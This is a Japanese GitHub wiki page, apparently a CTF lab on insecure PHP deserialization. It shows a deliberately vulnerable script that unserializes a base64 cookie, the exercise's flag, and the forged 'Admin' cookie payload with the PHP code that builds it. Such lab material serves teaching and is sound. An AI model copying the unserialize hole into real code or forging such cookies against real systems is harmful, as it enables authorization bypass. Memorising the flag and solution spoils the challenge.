安全でないデシリアライゼーション 03 - yujitounai/helloworld GitHub Wiki

安全でないデシリアライゼーション

Cookieによるデシリアライズ

脆弱なソースコード (PHP)

<?php
//Adminのときにflagを表示する
//入力は小文字に変換される
class User
{
  // Class data
  
  public  $age = 0;
  public  $name = '';
  
  // echo $objのときに何を表示させるか
  public function __toString()
  {
    if ($this->name==='Admin'){
      return('flag: ctf11-b2420c31-40ba-fed2-f9c2-dd9f60f055c6');
    }else{
      return 'こんにちは ' . $this->name . 'さん。' . $this->age . ' 歳なんですね';
    }
  }
}
//POSTでnameとageが設定されている
if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){
  $obj = unserialize(base64_decode($_COOKIE['cook']));
  ob_start();
  $name = $obj->name;
  $age=$obj->age;
  $message =$obj;
}elseif (isset($_POST["name"]) && isset($_POST["age"]) && !empty($_POST['name']) && !empty($_POST['age'])) {
  $name=mb_strtolower($_POST['name']);
  $age=$_POST['age'];
  $obj = new User();
  $obj->age = $age;
  $obj->name = $name;
  setcookie("cook", base64_encode(serialize($obj)), time()+3600, "/","", 0);
  $message =$obj;
}else {
  $message = 'ユーザーがAdminのときにFlagが表示されます';
}
?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="ctf.css" type="text/css" />
    <title>CTF</title>
  </head>
  <body>
    CTF<br>
    <div class="box">
      CTFっぽいなにか:Adminというユーザー
    </div>
    <div class="box">
      Cookie
      <form action="" method="post">
        name:<input type="text" name="name" value="<?php echo htmlspecialchars($name); ?>"><br>
        age:<input type="text" name="age" value="<?php echo htmlspecialchars($age); ?>"><br>
        <input type="submit" value="login">
        <?php
        echo '<br>'.htmlspecialchars($message);
        ?>
</form>
    </div>
    </input>
  </body>
</html>

攻撃方法

ユーザー名をAdminに書き換えてFlagを表示する(FileClass)

Cookieを書き換える

cook:Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7aToxODtzOjQ6Im5hbWUiO3M6NToiQWRtaW4iO30=

回答作成コード

動かすとシリアライズ&Base64エンコードされたオブジェクトが表示されるのでこれを使う

<?php
class User
{
  // Class data
  public  $age = 0;
  public  $name = '';
}

$name="Admin";
$age=18;
$obj = new User();
$obj->age = $age;
$obj->name = $name;
echo base64_encode(serialize($obj));

⚠️ **GitHub.com Fallback** ⚠️